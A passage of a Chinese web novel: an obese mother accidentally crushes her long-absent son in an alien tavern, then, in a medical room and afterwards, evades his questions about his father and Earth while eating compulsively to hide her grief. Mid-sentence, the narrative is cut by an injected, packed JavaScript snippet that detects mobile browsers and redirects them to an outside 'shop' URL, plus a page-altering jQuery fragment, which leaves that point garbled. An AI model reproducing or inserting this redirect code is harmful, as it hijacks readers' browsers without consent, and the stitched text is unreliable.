纪遇完全没有意识到自己的重量,她压在儿子的身上,激动得浑身发抖,肥肉一层叠一层,把慕星衍裹得严严实实,只露出一张憋得通红,青筋暴起的脸。 她低下头,对着儿子的脸又亲又抱,把眼泪和鼻涕都糊到他脸上,嘴巴里不停地念叨着,激动得语无伦次,自我感动得一塌糊涂:“儿子!我的好儿子!妈妈终于见到你了!妈妈好想你啊!” “三年了!妈三年没有见到你了!妈每天都在想你!做梦都在想你!” “你终于来找妈了!妈太开心了!太激动了!” “我的好宝贝!妈妈想死你了!想死你了!么么么么!!!” 她的嘴唇沾满了泪水和鼻涕,在慕星衍的脸上亲得“吧唧”作响,肥肉蹭得他满脸都是油腻腻的触感,恶心又崩溃。 慕星衍被压得喘不过气,骨头断了好几根,五脏六腑剧痛难忍,终于忍不住,“噗”的一声,一口鲜血直接喷了出来,溅在了纪遇的肥肉上。 鲜红的血,落在白色的肥肉上,格外刺眼。 纪遇亲着亲着,终于感觉到不对劲,她停下动作,低头看着儿子满脸通红、青筋暴起、嘴角流血的样子,脸上的激动瞬间消失,取而代之的是满满的慌乱和担心。 她连忙伸出十根圆润的胖手指,捧着慕星衍的脸,声音带着哭腔,焦急地大喊:“儿子!你怎么了?!怎么受伤了?!怎么吐血了?!” “谁干的?!是谁伤害了我的儿子?!” “是谁!给我站出来!我要弄死他!我要撕碎他!我要让他付出代价!啊啊啊!!!!!” 她一边喊,一边猛地抬起头,圆睁着双眼,像一头发怒的北极熊,扫视着周围的外星人,气势汹汹,一副要拼命的架势,吓得周围的外星人纷纷往后退,不敢出声。 全场一片寂静,没人敢说话。 这时,刚才那个粉色绒毛的女外星人,小心翼翼地举起手,用毛茸茸的手指了指纪遇,又指了指被她压在身下的慕星衍,小声说道:“那个,是你自己把他压扁的……” 纪遇低下头,看着自己压在儿子身上庞大无比的身躯,以及儿子被压得变形的脸和嘴角的血迹,再感受了一下自己身上沉甸甸的肥肉…… 她终于反应过来了。 是她…… 是她把自己的儿子,压扁了…… 纪遇的脸瞬间一白,吓得浑身肥肉都抖了起来,立刻从儿子身上爬起来,动作笨拙又慌乱,生怕再伤到儿子。 她看着躺在地上、奄奄一息的慕星衍,心脏像是被狠狠揪紧,慌乱得不知所措,她立刻伸出粗壮的手臂,一把将慕星衍从地上横抱了起来,来了一个标准的公主抱。 慕星衍本就断了骨头,被她这么一抱,又是一阵剧痛传来,眼前一黑,差点晕过去。 纪遇抱着儿子,昂首挺胸,像一个护崽的母熊,对着周围的外星人,发出一声震耳欲聋的大吼:“全都让开!我要拯救我的儿子!谁都别挡路!” 话音落下,她抱着慕星衍,迈开粗壮的腿,再次以百米冲刺的速度,朝着酒馆门口狂奔而去。 她跑得太急,太慌,太激动,完全没有看路。 慕星衍被她抱在怀里,头部悬空,身体随着她的奔跑剧烈晃动,一路上,脑袋“咚”的一声撞到了桌角,“嘭”的一下撞到了墙壁,“哐当”一下撞到了漂浮的岩块,每一次撞击,都带来一阵撕心裂肺的疼痛。 他的意识越来越模糊,耳边只有母亲慌乱的脚步声和大喊声,以及自己骨头碎裂的剧痛感。 他用尽最后一丝力气,发出绝望又崩溃的呐喊:“妈……求你了……别救我了……真的别救我了……” 呐喊还没结束,慕星衍眼前一黑,彻底晕了过去,失去了所有意识。 纪遇抱着晕过去的儿子,一路横冲直撞,撞翻了无数桌子酒杯,吓得外星人纷纷躲闪,终于冲出了酒馆。 剩下的,是一群目瞪口呆的外星人,以及满场狼藉。 9. 第 9 章 医疗室没有多余的装饰,四壁泛着温和的米白色柔光,中央悬浮着一具半透明的球形医疗舱,淡蓝色的修复液在舱内缓缓流转。 这是身体修复设备,就算是粉碎性骨折,只要人活着,也能在短时间内复原。 纪遇守在医疗舱旁,庞大的身躯遮住了头顶的光,层层叠叠的肥肉挤在舱边,一双眼睛一眨不眨地盯着里面的慕星衍。 在酒馆那一番横冲直撞,她把儿子压得骨裂吐血、当场晕厥,此刻回想起来,又慌又疼,悔得肠子都青了。 她低头看了看自己粗如水桶的手臂,捏了捏腰间晃荡的肥肉,眼底掠过一丝连自己都未曾察觉的黯淡。 她不敢去想,不敢去念,只能把所有的情绪都塞进食物里,塞进无休止的睡眠里,塞进对天启没头没脑的纠缠里,只要活得足够混沌,那些扎进骨髓里的疼,就不会翻涌上来。 滴! 医疗舱发出一声轻响,淡蓝色的修复液缓缓褪去,舱门自动弹开。 慕星衍平稳地躺在里面,脸色已经恢复了往日的白皙,身上的骨裂内伤尽数痊愈,连一丝伤痕都没有留下,睫毛轻轻颤了颤,缓缓睁开了眼。 四目相对的瞬间,纪遇再也绷不住了。 她猛地扑过去,因为身形太过臃肿,动作显得笨拙又急切,肥肉在原地晃了三晃,才小心翼翼地伸出手,轻轻碰了碰儿子的脸颊,手心温度烫得吓人。 滚烫的泪水毫无预兆地滚落,她没有哭出声,只是大颗大颗的眼泪往下掉,圆胖的脸颊被泪水浸得发亮,声音哽咽得几乎不成调:“星衍,我的好大儿啊……是妈不好,没轻没重,把你伤成这样……差点以为……差点以为要失去你了……呜呜呜……我真该死啊!” 她絮絮叨叨地说着,语无伦次,所有的慌乱、自责、后怕,全都化作止不住的泪水,将思念、委屈、痛苦,一股脑地倾泻出来。 慕星衍看着母亲哭得浑身发抖的模样,心脏像是被什么东西轻轻撞了一下,酸涩的情绪瞬间蔓延至四肢百骸。 他忘记了被压得吐血的崩溃,也忘记了眼前这个胖得离谱的女人与记忆中救世主形象的母亲巨大反差,只记得这是他念了三年的母亲。 他缓缓抬起手,想要伸手抱住眼前的人,好好安抚她的情绪。 可手臂刚抬起来,就僵在了半空。 他环了一圈,却连纪遇的半片肩膀都圈不住,手心触到的,是软乎乎沉甸甸的肥肉,再用力一点,反而被弹得往后缩了缩,连呼吸都被那股厚重的存在感压得微微一滞。 纪遇立刻察觉到了儿子的窘迫,慌忙往后退了半步,收回手,胡乱擦了擦脸上的眼泪,圆胖的脸上满是自责与慌乱。 “对不起,是不是又压到你了?有没有哪里还疼?哪里不舒服?担心死我了,心都要跳出来了……吃不下睡不着,熬得身体都不好了。” 慕星衍:“……” 他从被压扁,又被送进医疗舱治好,不到半个小时吧? 纪遇凑近儿子,又不敢太近,上上下下仔细打量,生怕漏过他一丝一毫的不适。 慕星衍从医疗舱里坐起身,声音带着点沙哑:“我没事了,一点都不疼了。” 话音落下,他看着母亲那张堆满肥肉,却依旧藏不住温柔的脸,积攒了一路的疑惑,终于忍不住问出了口:“妈,你怎么变成这个样子了?到底发生什么事了?” 纪遇脸上的慌乱瞬间僵住,眼底的泪光也淡了几分。 她下意识地移开目光,不敢与儿子对视,圆胖的手指局促地抠着医疗舱的边缘,语气生硬地转移了话题:“我就是吃得多了一点,没什么大事。” “你这几年在外冒险怎么样?一个人在星际里跑有没有遇到危险?交到朋友?都跟我说说。” 她刻意拔高了声音,一副轻松平常的样子。 慕星衍何等聪明,一眼就看穿了母亲的遮掩。 她在刻意回避所有关于自己变化的问题。 他往前凑了凑,目光紧紧锁住纪遇,语气带着一丝急切:“你别转移话题,是不是出了什么大事?还有……爸呢?” 提到慕秉持,她的身体明显僵了一下,手指抠得更紧了,连呼吸都乱了节拍。 纪遇脸上挤出一抹极不自然的笑容:“你看你,几年不见,长得更壮实了,我知道一家店,做得肉特别好吃……” 慕星衍没有给她逃避的机会。 他猛地抓住母亲的手,掌心的温度透过厚厚的肥肉传过去,语气带着前所未有的认真与不安:“到底怎么了?你告诉我!不要瞒着我!” “是不是爸死了?” 纪遇脸上那层勉强撑起来的笑容,彻底消失得干干净净,一丝不剩。 她看着儿子紧张到发白的脸,嘴唇动了动,良久,才吐出两个轻得几乎听不见的字:“不知道。” “不知道?”慕星衍猛地提高了声音,不敢置信地看着她,“什么叫不知道?爸是活生生的人,不是一件东西,你怎么会不知道?你们分手了吗?” 纪遇闭上眼,再睁开时,眼底一片平静,平静得近乎麻木,她轻轻点了点头:“是的,我现在已经不管地球的事了,那里的人也都跟我没有任何关系。以后别再跟我提地球,也别再提那里的任何人。” 她的语气里没有怨恨,只有一种彻底的疏离与放弃,仿佛曾经拼尽全力守护的家园,曾经深爱入骨的人,全都成了过眼云烟,不值一提。 可慕星衍却听得心头一沉,更加不安。 纪遇这一生,最重情义,最念故土,最爱家人,她绝不会无缘无故放弃地球,更不会无缘无故离开父亲。 一定是发生了什么足以摧毁她所有信念的事,才会让她变成现在这副模样,胖得离谱,活得混沌,避而不谈,彻底沉沦。 “爸不是一般的地球人,他是你最爱的人!”慕星衍紧紧抓着她的手,语气急切,“还有你在地球的朋友呢?你都不管了吗?” “发生什么事,你告诉我好不好?我是你儿子,可以帮你分担,你累了我可以守护你!” 他的声音带着哭腔,他怕怕母亲遭遇了无法言说的伤害,一个人扛下了所有的痛。 可纪遇只是轻轻抽回了自己的手,没有再多说一个字。 她缓缓站起身,庞大的身躯在原地晃了晃,下一秒,动作却异常灵活地转身,像一阵风一样,径直朝着诊疗室门外走去。 明明是臃肿到极致的身材,脚步却轻得不可思议,没有一丝拖沓,快得让慕星衍反应不过来。 “妈!” 慕星衍立刻追了出去。 诊疗室外,是酒馆的后厅,依旧是光怪陆离的外星生物,喧闹嘈杂的氛围,空气中飘着各种食物的香气。 纪遇径直冲到一张摆满了肉食的桌子前,完全不顾周围外星人诧异的目光,伸手抓起一块足有她半张脸大的烤异兽腿,张开嘴就狼吞虎咽地啃了起来。 油脂顺着她的嘴角往下淌,沾在圆胖的脸颊上,她却毫不在意,大口大口地吞咽着,咀嚼的速度快得惊人,仿佛要把所有的情绪,所有的痛苦,全都塞进嘴里,嚼碎了,咽下去,再也不吐出来。 她吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373188|200031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得很急,很凶,没有丝毫形象,像一只饿了很久的野兽。 慕星衍站在她身后,看着母亲狼吞虎咽的背影,心脏像是被一只冰冷的手紧紧攥住。 他看得出来母亲不是真的饿。 她是在逃避。 一定是发生了什么要紧到足以摧毁她的事,才会让她变成现在这个只会暴饮暴食、避世沉沦的胖女人。 他缓缓走上前,轻轻站在母亲身后:“既然我现在回来了,就陪着你,哪里都不去。如果你有什么心事都可以跟我说。我是你儿子,我会一直站在你身边。” 纪遇啃肉的动作微微一顿。 她慢慢转过头,脸上还沾着油渍,圆胖的脸上挤出一抹淡淡的笑容,看起来没心没肺:“我能有什么事?就是想多吃点东西,过得舒服一点而已。” 慕星衍没有说话,只是静静地看着她,目光里的担忧没有丝毫减少。 被儿子看得有些不自在,纪遇抬手抹了抹嘴角的油渍,故作轻松地拍了拍自己圆滚滚的肚子,笑道:“我不就是胖了一些吗?有什么大不了的?比我胖的种族多了去。” 慕星衍在心底默默叹气。 哪里是胖了一些。 是胖到彻底变了模样,胖到把所有的锋芒与温柔,都藏进了层层叠叠的肥肉里,胖到连拥抱,都成了一种奢侈。 他没有拆穿母亲的伪装,只是沉默了片刻,缓缓开口,说出了一个让纪遇瞬间变色的决定:“我要回地球一趟,去找爸,看看到底发生了什么,如果他欺负你,我会揍他。” 纪遇几乎是瞬间转过身,速度快得带出一阵风,圆胖的手一把抓住了慕星衍的手腕:“不准回去!” 她的反应太过激烈,像一只被踩了逆鳞的母熊。 慕星衍被她抓得生疼,却依旧不肯退让:“那是爸的家乡,是你的故土,我为什么不能回去?你到底在怕什么?你告诉我!” 纪遇看着儿子倔强的脸,胸口剧烈起伏,良久,才缓缓松开手,语气软了下来:“2025年的危机,已经结束,地球现在很安全,人类独立自强,拥有了足够的科技与力量能够保护自己,再也不需要任何人的守护了。” 她刻意说得轻描淡写。 那些拼死守护,那些恩将仇报,她一个字都没有提。 慕星衍盯着她的眼睛,一字一句地追问:“那父亲呢?你不要他了吗?” 纪遇别过头,看向喧闹的酒馆中央:“我已经完成了我该做的任务,他有自己的家人,有自己的生活。没有我,他也能过得很好。” 说完这句话,她像是耗尽了所有的力气,不再看儿子一眼,重新抓起桌上的食物,又开始大口大口地吃了起来。 这一次,她吃得比刚才更快,更急,仿佛只有这样,才能堵住心底翻涌上来的疼。 她机械地咀嚼着,吞咽着,眼前却不由自主地浮现出女娲消散前的模样。 “人类有一天会抛弃你,就像抛弃我一样。这是他们的选择,你必须放手,哪怕是你最爱的人。” 这一刻,纪遇吃东西的动作,几不可查地顿了一瞬。 圆胖的脸上,那副没心没肺、贪吃贪喝的表情,瞬间褪去,只剩下一片藏在肥肉下的、无人可见的悲凉。 她的睫毛轻轻颤动,眼底掠过一丝破碎的空洞,咀嚼的动作慢了下来,连嘴角的油渍都显得格外刺眼。 快了,太快了。 比女娲预言的还要快。 慕星衍站在她身后,清晰地捕捉到了母亲那一瞬间的失神与落寞。 他没有再追问。